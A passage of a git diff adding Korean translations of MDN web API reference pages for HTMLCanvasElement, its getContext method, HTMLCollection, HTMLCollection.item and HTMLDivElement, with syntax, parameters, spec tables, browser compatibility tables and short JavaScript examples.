+<pre class="syntaxbox">var <em>ctx</em> = <em>canvas</em>.getContext(<em>contextType</em>);
+var <em>ctx</em> = <em>canvas</em>.getContext(<em>contextType</em>, <em>contextAttributes</em>);
+</pre>
+
+<h3 id="파라미터">파라미터</h3>
+
+<dl>
+ <dt><code>contextType</code></dt>
+ <dd>캔버스에 연관된 드로잉 컨텍스트를 정의하는 컨텍스트 식별자를 갖는 {{domxref("DOMString")}}입니다. 가능한 값은 다음과 같습니다.
+ <ul>
+  <li><code>"2d"</code>, 2차원 렌더링 컨텍스트를 나타내는 {{domxref("CanvasRenderingContext2D")}} 객체를 생성하게 합니다.</li>
+  <li><code>"webgl"</code> (또는 <code>"experimental-webgl"</code>), 3차원 렌더링 컨텍스트를 나타내는 {{domxref("WebGLRenderingContext")}} 객체를 생성합니다. 이 컨텍스트는 <a href="https://developer.mozilla.org/ko/docs/Web/WebGL">WebGL</a> 버전 1 (OpenGL ES 2.0)을 구현하는 브라우저에서만 사용가능합니다.</li>
+  <li><code>"webgl2"</code>, 3차원 렌더링 컨텍스트를 나타내는 {{domxref("WebGL2RenderingContext")}} 객체를 생성합니다. 이 컨텍스트는 <a href="https://developer.mozilla.org/ko/docs/Web/WebGL">WebGL</a> 버전 2 (OpenGL ES 3.0)를 구현하는 브라우저에서만 사용가능합니다. {{experimental_inline}}</li>
+  <li><code>"bitmaprenderer"</code>, 캔버스의 컨텐츠를 주어진 {{domxref("ImageBitmap")}}으로 대체하기위한 기능만을 제공하는 {{domxref("ImageBitmapRenderingContext")}}를 생성합니다.</li>
+ </ul>
+
+ <div class="note">
+ <p><strong>노트</strong>: 식별자 <code>"experimental-webgl"</code>은 WebGL의 새로운 구현에서 사용됩니다. 이러한 구현은 테스트 스위트 적합성을 아직 만족하지 못하며, 플랫폼 상의 그래픽 드라이버도 아직 불안정합니다. <a href="https://www.khronos.org/">Khronos Group</a>은 특정 <a href="https://www.khronos.org/registry/webgl/sdk/tests/CONFORMANCE_RULES.txt">적합성 규칙</a>에 따라 WebGL 구현을 인증합니다.</p>
+ </div>
+ </dd>
+ <dt><code>contextAttributes</code></dt>
+ <dd>
+ <p>렌더링 컨텍스트를 생성할 때 몇 가지 컨텍스트 속성을 사용할 수 있습니다. 예를 들면:</p>
+
+ <pre class="brush: js">const gl = canvas.getContext('webgl', {
+  antialias: false,
+  depth: false
+});</pre>
+ 2d 컨텍스트 속성:
+
+ <ul>
+  <li><strong><code>alpha</code></strong>: 캔버스가 알파 채널을 포함하는지를 나타내는 불리언입니다. <code>false</code>로 설정할 경우, 브라우저는 이제 배경이 항상 투명하다는 것을 알기때문에 투명한 컨텐츠나 이미지를 그리는 속도를 높일수 있습니다.</li>
+  <li>{{non-standard_inline}} (Gecko 전용) <strong><code>willReadFrequently</code></strong>: 많은 다시 읽기 작업이 계획되어있는지 여부를 나타내는 불리언입니다. 이는 소프트웨어(하드웨어 가속 대신) 2D 캔버스의 사용을 강제하며 {{domxref("CanvasRenderingContext2D.getImageData", "getImageData()")}} 호출이 빈번할때 메모리를 절약할 수 있습니다. 이 옵션은 <code>gfx.canvas.willReadFrequently.enable</code> 플래그가 <code>true</code>(기본 값이며, B2G/Firefox OS에만 해당) 설정되었을 경우에만 사용가능합니다.</li>
+  <li>{{non-standard_inline}} (Blink only) <strong><code>storage</code></strong>: 어떤 스토리지가 사용되었는지를 나타내는 문자열입니다(기본값은 "persistent").</li>
+ </ul>
+ WebGL 컨텍스트 속성:
+
+ <ul>
+  <li><strong><code>alpha</code></strong>: 캔버스가 알파 버퍼를 포함하는지 여부를 나타내는 불리언입니다.</li>
+  <li><strong><code>antialias</code></strong>: 안티 앨리어싱을 수행할지 여부를 나타내는 불리언입니다.</li>
+  <li><strong><code>depth</code></strong>: 드로잉 버퍼가 최소 16 비트의 깊이 버퍼를 갖는지 여부를 나타내는 불리언입니다.</li>
+  <li><code><strong>failIfMajorPerformanceCaveat</strong></code>: 시스템 성능이 낮을 경우에 컨텍스트를 생성할지 여부를 나타내는 불리언입니다.</li>
+  <li><code><strong>powerPreference</strong></code>: WebGL 컨텍스트에 대해 적합한 GPU 구성이 무엇인지를 나타내는 유저 에이전트에 대한 힌트입니다. 가능한 값은 다음과 같습니다.
+   <ul>
+    <li><code>"default"</code>: 유저 에이전트가 가장 적합한 GPU 구성을 결정하도록 합니다. 기본 값입니다.</li>
+    <li><code>"high-performance"</code>: 전력 소비보다 렌더링 성능을 우선시합니다.</li>
+    <li><code>"low-power"</code>: 렌더링 성능보다 전력 절약을 우선시합니다.</li>
+   </ul>
+  </li>
+  <li><strong><code>premultipliedAlpha</code></strong>: 페이지 컴포지터가 미리 곱해진 알파를 갖는 컬러를 포함하는 드로잉 버퍼를 가정할 것인지 여부를 나타내는 불리언입니다.</li>
+  <li><strong><code>preserveDrawingBuffer</code></strong>: 값이 true일 경우 버퍼는 제거되지 않으며 값이 제거되거나 덮어쓰여지기 전까지 유지됩니다.</li>
+  <li><strong><code>stencil</code></strong>: 드로잉 버퍼가 최소 8 비트의 스텐실 버퍼를 갖는지 여부를 나타내는 불리언입니다.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>{{domxref("RenderingContext")}}는 다음 중 하나입니다.</p>
+
+<ul>
+ <li><code>"2d"</code> 용 {{domxref("CanvasRenderingContext2D")}},</li>
+ <li><code>"webgl"</code> 및 <code>"experimental-webgl"</code> 용 {{domxref("WebGLRenderingContext")}},</li>
+ <li><code>"webgl2"</code> 용 {{domxref("WebGL2RenderingContext")}}</li>
+ <li><code>"bitmaprenderer"</code> 용 {{domxref("ImageBitmapRenderingContext")}}.</li>
+</ul>
+
+<p><code>contextType</code>이 가능한 드로잉 컨텍스트와 일치하지 않으면, <code>null</code>이 반환됩니다.</p>
+
+<h2 id="예시">예시</h2>
+
+<p>다음 {{HTMLElement("canvas")}} 엘리먼트를 고려해볼 때:</p>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="300" height="300"&gt;&lt;/canvas&gt;
+</pre>
+
+<p>다음 코드를 사용해 캔버스의 <code>2d</code> 컨텍스트를 얻을 수 있습니다.</p>
+
+<pre class="brush: js">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+console.log(ctx); // CanvasRenderingContext2D { ... }
+</pre>
+
+<p>이제 캔버스에 대한 <a href="/ko/docs/Web/API/CanvasRenderingContext2D">2D 렌더링 컨텍스트</a>를 갖고 있으며 이 안에 그릴 수 있습니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">코멘트</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-canvas-getcontext", "HTMLCanvasElement.getContext")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>최신 스냅샷 {{SpecName('HTML5 W3C')}} 이후에 변경사항 없음</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "semantics-scripting.html#dom-htmlcanvaselement-getcontext", "HTMLCanvasElement.getContext")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "scripting-1.html#dom-canvas-getcontext", "HTMLCanvasElement.getContext")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>초기 정의를 포함하는 {{SpecName('HTML WHATWG')}}의 스냅샷.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.HTMLCanvasElement.getContext")}}</p>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li>이를 정의하는 인터페이스 {{domxref("HTMLCanvasElement")}}.</li>
+ <li>{{domxref("OffscreenCanvas.getContext()")}}</li>
+ <li>사용 가능한 렌더링 컨텍스트: {{domxref("CanvasRenderingContext2D")}}, {{domxref("WebGLRenderingContext")}}, {{domxref("WebGL2RenderingContext")}}, {{domxref("ImageBitmapRenderingContext")}}.</li>
+</ul>
diff --git a/files/ko/web/api/htmlcanvaselement/index.html b/files/ko/web/api/htmlcanvaselement/index.html
new file mode 100644
index 0000000000..cd8c23eb12
--- /dev/null
+++ b/files/ko/web/api/htmlcanvaselement/index.html
@@ -0,0 +1,242 @@
+---
+title: HTMLCanvasElement
+slug: Web/API/HTMLCanvasElement
+translation_of: Web/API/HTMLCanvasElement
+---
+<div>
+<div>{{APIRef("Canvas API")}}</div>
+</div>
+
+<p><strong><code>HTMLCanvasElement</code></strong> 인터페이스는 &lt;canvas&gt; 요소의 레이아웃이나 프레젠테이션을 조작하는 여러 프로퍼티와 메서드들을 제공합니다. 또한 <code>HTMLCanvasElement</code> 인터페이스는 {{domxref("HTMLElement")}} 인터페이스의 여러 프로퍼티와 메서드들을 상속받습니다.</p>
+
+<h2 id="프로퍼티">프로퍼티</h2>
+
+<p><em>부모객체인 <em>{{domxref("HTMLElement")}} 로</em>부터 프로퍼티를 상속받음. </em></p>
+
+<dl>
+ <dt>{{domxref("HTMLCanvasElement.height")}}</dt>
+ <dd>는 {{HTMLElement("canvas")}} 요소에서 HTML 속성인 {{htmlattrxref("height", "canvas")}}를 반영하는 양의 정수이며, CSS의 픽셀값으로 해석되어집니다. 속성값이 주어지지 않거나, 음수와 같이 올바르지 않은 값이 주어진 경우에는 기본 값인 150이 사용됩니다.</dd>
+ <dt>{{domxref("HTMLCanvasElement.mozOpaque")}} {{non-standard_inline}}</dt>
+ <dd>는 {{HTMLElement("canvas")}} 요소에서 HTML 속성인 {{htmlattrxref("moz-opaque", "canvas")}}를 반영하는 {{jsxref("Boolean")}} 객체입니다. 이는 &lt;canvas&gt;에게 반투명이 인자로 사용될지에 대한 여부를 알려줍니다. 만약 반투명 요소가 없다면, &lt;canvas&gt;의 성능이 최적화될 수 있습니다.</dd>
+ <dt>{{domxref("HTMLCanvasElement.width")}}</dt>
+ <dd>는 {{HTMLElement("canvas")}} 요소에서 HTML 속성인 {{htmlattrxref("width", "canvas")}}를 반영하는 양의 정수이며, CSS의 픽셀값으로 해석되어집니다.  속성값이 주어지지 않거나, 음수와 같이 올바르지 않은 값이 주어진 경우에는 기본 값인 300이 사용됩니다.</dd>
+ <dt>{{domxref("HTMLCanvasElement.mozPrintCallback")}}{{non-standard_inline}}</dt>
+ <dd>는 페이지가 프린트 되는 경우 호출되는 함수입니다. 사용자는 해당 객체에 특정 자바스크립트 함수를 등록함으로써, 만약 프린터가 사용되는 경우 &lt;canvas&gt;를 더욱 고해상도로 다시 그리게 할 수 있습니다. 기본적으로 null 값을 갖습니다. <a href="https://blog.mozilla.org/labs/2012/09/a-new-way-to-control-printing-output/">다음의 블로그 글을 참조하세요.</a></dd>
+ <dt> </dt>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<p><em>부모객체인 {{domxref("HTMLElement")}} 로부터 메서드를 상속받음.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLCanvasElement.captureStream()")}} {{experimental_inline}}</dt>
+ <dd>&lt;canvas&gt; 상의 화면을 실시간 비디오로 캡처할 수 있는 {{domxref("CanvasCaptureMediaStream")}} 을 반환합니다.</dd>
+ <dt>{{domxref("HTMLCanvasElement.getContext()")}}</dt>
+ <dd>&lt;canvas&gt; 상의 드로잉 컨텍스트를 반환합니다. 만약 컨텍스트 ID가 지원되지 않는 경우 null값을 반환합니다. 드로잉 컨텍스트는 &lt;canvas&gt; 상에 그림을 그릴 수 있게 해줍니다.  getContext를 <code>"2d"</code> 를 매개 변수로 호출한다면 {{domxref("CanvasRenderingContext2D")}} 객체를 반환할 것이며, <code>"experimental-webgl"</code> (또는 <code>"webgl"</code>) 를 매개 변수로 호출한다면 {{domxref("WebGLRenderingContext")}} 객체를 반환할 것입니다. 후자의 컨텍스트의 경우 <a href="/en-US/docs/Web/WebGL">WebGL</a> 이 구현된 브라우저에서만 사용 가능합니다.</dd>
+ <dt>{{domxref("HTMLCanvasElement.toDataURL()")}}</dt>
+ <dd><code>type</code> 파라미터에서 지정하고 있는 포맷(기본: png) 의 이미지를 나타내는 data-URL을 반환합니다. 반환된 이미지는 96dpi의 해상도를 갖습니다.</dd>
+ <dt>{{domxref("HTMLCanvasElement.toBlob()")}}</dt>
+ <dd>&lt;canvas&gt;가 포함하고 있는 이미지를 나타내는 {{domxref("Blob")}} 객체를 생성합니다. 이 파일은 사용자의 브라우저에 따라 디스크나 메모리에 캐싱되거나 저장될 수 있습니다.</dd>
+ <dt>{{domxref("HTMLCanvasElement.transferControlToOffscreen()")}} {{experimental_inline}}</dt>
+ <dd>메인 쓰레드나 워커 쓰레드에서 {{domxref("OffscreenCanvas")}} 객체에게 제어 권한을 넘깁니다.</dd>
+ <dt>{{domxref("HTMLCanvasElement.mozGetAsFile()")}} {{non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>&lt;canvas&gt;가 포함하고 있는 이미지를 나타내는 {{domxref("File")}} 객체를 반환합니다. 이 파일은 메모리 기반의 파일이며, <code>name</code> 의 이름을 갖습니다. 만약 <code>type</code> 이 지정되지 않는다면, 이미지는 기본적으로 <code>image/png</code>의 타입을 갖게 될 것입니다.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">주석</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Media Capture DOM Elements', '#html-media-element-media-capture-extensions', 'HTMLCanvasElement')}}</td>
+   <td>{{Spec2('Media Capture DOM Elements')}}</td>
+   <td><code>captureStream()</code> 메서드 추가하기</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "#the-canvas-element", "HTMLCanvasElement")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>
+    <p><code>getContext()</code> 메서드가 이제 단순히 객체를 반환하지 않고 {{domxref("RenderingContext")}} 를 반환함. <br>
+     <code>다음의 메서드가 추가됨: probablySupportsContext()</code>, <code>setContext()</code> 와 <code>transferControlToProxy()</code></p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "scripting-1.html#the-canvas-element", "HTMLCanvasElement")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "scripting-1.html#the-canvas-element", "HTMLCanvasElement")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>초기 정의</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support (<code>2D</code> context)</td>
+   <td>4.0</td>
+   <td>{{CompatGeckoDesktop('1.9.2')}}</td>
+   <td>9.0</td>
+   <td>9.0 [1]</td>
+   <td>3.1</td>
+  </tr>
+  <tr>
+   <td><code>toBlob()</code></td>
+   <td>50</td>
+   <td>{{CompatGeckoDesktop('19')}} [2]</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}} (bug <a href="https://bugs.webkit.org/show_bug.cgi?id=71270">71270</a>)</td>
+  </tr>
+  <tr>
+   <td><code>probablySupportsContext()</code>,<br>
+    <code>setContext()</code>,<br>
+    <code>transferControlToProxy()</code> {{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>mozGetAsFile()</code> {{non-standard_inline}} {{deprecated_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop('2')}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>captureStream()</code> {{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop('41')}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>transferControlToOffscreen()</code> {{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop(44)}} [3]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support (<code>2D</code> context)</td>
+   <td>2.1</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>10.0 [1]</td>
+   <td>3.2</td>
+  </tr>
+  <tr>
+   <td><code>webgl</code> context</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}} as <code>experimental-webgl</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>toBlob()</code></td>
+   <td>{{CompatNo}} (bug <a href="http://crbug.com/67587">67587</a>)</td>
+   <td>50</td>
+   <td>{{CompatGeckoMobile('18')}} [2]</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}} (bug <a href="https://bugs.webkit.org/show_bug.cgi?id=71270">71270</a>)</td>
+  </tr>
+  <tr>
+   <td><code>probablySupportsContext()</code>,<br>
+    <code>setContext()</code>,<br>
+    <code>transferControlToProxy() </code>{{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>mozGetAsFile()</code> {{non-standard_inline}} {{deprecated_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile('2')}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>captureStream() </code>{{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile('41')}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>transferControlToOffscreen()</code> {{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile(44)}} [3]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Opera Mini 5.0 and later has partial support.</p>
+
+<p>[2] Support for the third parameter, has been added in Gecko 25 only: when used with the <code>"image/jpeg"</code> type, this argument specifies the image quality.</p>
+
+<p>[3] This feature is behind a feature preference setting. In about:config, set <code>gfx.offscreencanvas.enabled</code> to <code>true</code>.</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>이 인터페이스를 구현한 HTML 요소: {{HTMLElement("canvas")}}.</li>
+</ul>
diff --git a/files/ko/web/api/htmlcollection/index.html b/files/ko/web/api/htmlcollection/index.html
new file mode 100644
index 0000000000..d5087579b4
--- /dev/null
+++ b/files/ko/web/api/htmlcollection/index.html
@@ -0,0 +1,96 @@
+---
+title: HTMLCollection
+slug: Web/API/HTMLCollection
+tags:
+  - API
+  - DOM
+  - HTML DOM
+  - HTMLCollection
+  - Interface
+  - Reference
+translation_of: Web/API/HTMLCollection
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p><strong><code>HTMLCollection</code></strong> 인터페이스는 요소의 문서 내 순서대로 정렬된 일반 컬렉션({{jsxref("Functions/arguments", "arguments")}}처럼 배열과 유사한 객체)을 나타내며 리스트에서 선택할 때 필요한 메서드와 속성을 제공합니다.</p>
+
+<div class="note"><strong>참고:</strong> <code>HTMLCollection</code>의 이름은 현대적 DOM의 이전, 구성요소로 HTML 요소만 지닐 수 있었던 시절에 정해졌습니다.</div>
+
+<p>HTML DOM 내의 <code>HTMLCollection</code>은 문서가 바뀔 때 실시간으로 업데이트됩니다.</p>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt>{{domxref("HTMLCollection.length")}} {{readonlyInline}}</dt>
+ <dd>컬렉션 항목의 갯수를 반환합니다.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<dl>
+ <dt>{{domxref("HTMLCollection.item()")}}</dt>
+ <dd>리스트에서 주어진 인덱스의 노드를 반환합니다. 인덱스가 범위 밖일 경우 {{jsxref("null")}}을 반환합니다.</dd>
+ <dt>{{domxref("HTMLCollection.namedItem()")}}</dt>
+ <dd>리스트에서 ID 또는 이름 속성이 주어진 문자열과 일치하는 노드를 반환합니다. 이름 속성 판별은 HTML에서만 최후의 수단으로 쓰이며 참조하는 요소가 <code>name</code> 속성을 지원해야 합니다. 일치하는 요소가 없으면 {{jsxref("null")}}을 반환합니다.</dd>
+</dl>
+
+<h2 id="JavaScript에서_사용하기">JavaScript에서 사용하기</h2>
+
+<p><code>HTMLCollection</code>은 구성요소를 이름과 인덱스로 동시에 직접 노출합니다. HTML ID는 <code>:</code>와 <code>.</code>을 유효한 문자로 포함할 수 있으므로 속성 접근 시에는 <a href="/ko/docs/Web/JavaScript/Reference/Operators/Property_Accessors#괄호_표기법">괄호 표기법</a>을 사용해야 합니다. <code>HTMLCollection</code>은 배열 스타일 구성요소 접근법과 충돌할 수 있는 순수 숫자 인덱스를 지원하지 않습니다.</p>
+
+<pre class="brush:js">var elem1, elem2;
+
+// document.forms은 HTMLCollection임
+
+elem1 = document.forms[0];
+elem2 = document.forms.item(0);
+
+alert(elem1 === elem2); // "true"
+
+elem1 = document.forms.myForm;
+elem2 = document.forms.namedItem("myForm");
+
+alert(elem1 === elem2); // "true"
+
+elem1 = document.forms["named.item.with.periods"];
+</pre>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#htmlcollection', 'HTMLCollection')}}</td>
+   <td>{{ Spec2('DOM WHATWG') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-75708506', 'HTMLCollection')}}</td>
+   <td>{{ Spec2('DOM2 HTML') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-html.html#ID-75708506', 'HTMLCollection')}}</td>
+   <td>{{ Spec2('DOM1') }}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{domxref("NodeList")}}</li>
+ <li>{{domxref("HTMLFormControlsCollection")}}, {{domxref("HTMLOptionsCollection")}}</li>
+</ul>
diff --git a/files/ko/web/api/htmlcollection/item/index.html b/files/ko/web/api/htmlcollection/item/index.html
new file mode 100644
index 0000000000..728aafffbc
--- /dev/null
+++ b/files/ko/web/api/htmlcollection/item/index.html
@@ -0,0 +1,50 @@
+---
+title: HTMLCollection.item
+slug: Web/API/HTMLCollection/item
+translation_of: Web/API/HTMLCollection/item
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p><span class="seoSummary">{{domxref("HTMLCollection")}} 의 메소드 <code>item()</code> 은 컬렉션 안의 특정 인덱스에 위치한 노드를 반환합니다.</span></p>
+
+<div class="note">
+<p><strong>Note: </strong><code>HTMLCollection</code>은 실시간이기 때문에, DOM을 변경하면 컬렉션 내의 노드도 변경됩니다. 따라서, 한 노드의 인덱스 값이 항상 일정하지는 않습니다. </p>
+</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">var <em>element</em> = <em>HTMLCollection</em>.item(<em>index</em>)</pre>
+
+<h3 id="파라미터">파라미터</h3>
+
+<dl>
+ <dt><code>index</code></dt>
+ <dd>반환받을 {{domxref("Node")}}의 위치. <code>HTMLCollection</code>에 들어있는 요소들은 도큐먼트에 나타나는 순서와 동일합니다.</dd>
+</dl>
+
+<h3 id="반환값">반환값</h3>
+
+<p>주어진 인덱스의 {{domxref("Node")}}. <code>index</code>가 0보다 작거나 length 속성보다 크다면 <code>null</code>을 반환합니다.</p>
+
+<h2 id="참고사항">참고사항</h2>
+
+<p><code>item()</code> 메소드는 <code>HTMLCollection</code>으로부터 순서가 매겨진 하나의 요소를 반환합니다. 자바스크립트에서, <code>HTMLCollection</code>을 배열처럼 다루는건 아주 쉽습니다. 아래의 {{anch("Example", "예시")}}를 보세요.</p>
+
+<h2 id="Example">Example</h2>
+
+<pre class="brush: js">var c = document.images;  // HTMLCollection입니다
+var img0 = c.item(0);     // 이렇게 item() 메소드를 이용할 수 있지만
+var img1 = c[1];          // 이렇게 표기하는게 쉽고 더 보편적입니다
+</pre>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.HTMLCollection.item")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("NodeList.item()")}}</li>
+</ul>
diff --git a/files/ko/web/api/htmldivelement/index.html b/files/ko/web/api/htmldivelement/index.html
new file mode 100644
index 0000000000..c694bf6d83
--- /dev/null
+++ b/files/ko/web/api/htmldivelement/index.html
@@ -0,0 +1,72 @@
+---
+title: HTMLDivElement
+slug: Web/API/HTMLDivElement
+tags:
+  - API
+  - HTML DOM
+  - Interface
+  - Reference
+translation_of: Web/API/HTMLDivElement
+---
+<div>{{ APIRef("HTML DOM") }}</div>
+
+<p><strong><code>HTMLDivElement</code></strong> 인터페이스는 {{domxref("HTMLElement")}} 인터페이스를 확장해, {{htmlelement("div")}} 요소를 조작할 때 사용할 수 있는 추가 속성을 제공합니다.</p>
+
+<p>{{InheritanceDiagram(600,120)}}</p>
+
+<h2 id="속성">속성</h2>
+
+<p><em>부모인 {{domxref("HTMLElement")}}로부터 상속합니다.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLDivElement.align")}} {{obsolete_inline}}</dt>
+ <dd>주변 맥락에 대해 요소 콘텐츠의 정렬 위치를 나타내는 {{domxref("DOMString")}}입니다. 가능한 값은 <code>"left"</code>, <code>"right"</code>, <code>"justify"</code>, <code>"center"</code>입니다.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<p><em>부모인 {{domxref("HTMLElement")}}로부터 상속합니다.</em></p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "grouping-content.html#the-div-element", "HTMLDivElement")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>{{SpecName("HTML5 W3C")}}와 동일합니다.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "grouping-content.html#the-div-element", "HTMLDivElement")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>{{SpecName("DOM2 HTML")}}과 동일합니다.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-22445964', 'HTMLDivElement')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td>{{SpecName("DOM1")}}과 동일합니다.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-html.html#ID-22445964', 'HTMLDivElement')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>초기 정의.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.HTMLDivElement")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>인터페이스를 구현하는 HTML 요소 {{ HTMLElement("div") }}.</li>
+</ul>
diff --git a/files/ko/web/api/htmldocument/index.html b/files/ko/web/api/htmldocument/index.html
new file mode 100644
index 0000000000..13e801ad04
--- /dev/null
+++ b/files/ko/web/api/htmldocument/index.html
@@ -0,0 +1,21 @@
+---
+title: HTMLDocument
+slug: Web/API/HTMLDocument
+tags:
+  - API
+  - HTML DOM
+  - 레퍼런스
+  - 인터페이스
+translation_of: Web/API/HTMLDocument
+---
+<p>{{ APIRef("HTML DOM") }}</p>
+
